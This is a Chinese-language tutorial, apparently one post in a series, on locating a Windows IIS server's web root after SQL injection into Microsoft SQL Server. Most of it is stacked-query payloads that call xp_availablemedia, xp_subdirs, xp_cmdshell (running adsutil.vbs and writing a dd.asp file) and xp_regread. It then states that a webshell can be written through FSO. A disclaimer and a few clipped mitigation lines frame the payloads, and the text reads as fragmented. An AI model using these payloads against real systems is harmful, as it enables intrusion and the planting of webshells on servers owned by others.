聲明:本文僅供安全研究與防禦參考,嚴禁用於非法入侵。
接續上篇,介紹三種更進階的目錄探測與 Web 路徑定位手法。
;insert dirs exec master.dbo.xp_availablemedia;--
查詢 dirs 表即可獲得磁碟機代號與資訊,作為後續遍歷的起點。
;insert into dirs exec master.dbo.xp_subdirs 'c:\';--
透過 xp_cmdshell 執行 cscript adsutil.vbs enum w3svc/1/root 將第一個網站設定導出至文字檔,再寫入 VBScript 解析路徑,最終在 Web 根目錄寫入 dd.asp 驗證路徑。
-- 步驟 1:導出 IIS 設定
exec master..xp_cmdshell 'cmd /c cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/1/root > a.txt';
-- 步驟 2:寫入解析腳本 read.vbs(略)
-- 步驟 3:執行 read.vbs,將實體路徑寫入 Web 根目錄 dd.asp
-- 步驟 4:瀏覽 https://target/dd.asp 取得路徑
xp_cmdshell 權限、adsutil.vbs 存在且路徑正確。利用 xp_regread(PUBLIC 權限)直接讀取 HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ 下的 / 值。
create table newtable(id int identity(1,1), paths varchar(500));
declare @test varchar(200);
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',
@value_name='/', @value=@test output;
insert into newtable(paths) values(@test);
再以錯誤回顯讀取 newtable 即得 Web 根目錄,隨後可直接用 FSO 寫入 Webshell。
xp_cmdshell、xp_regread、xp_subdirs 等高危擴展。xp_、sp_oacreate 等關鍵字的請求。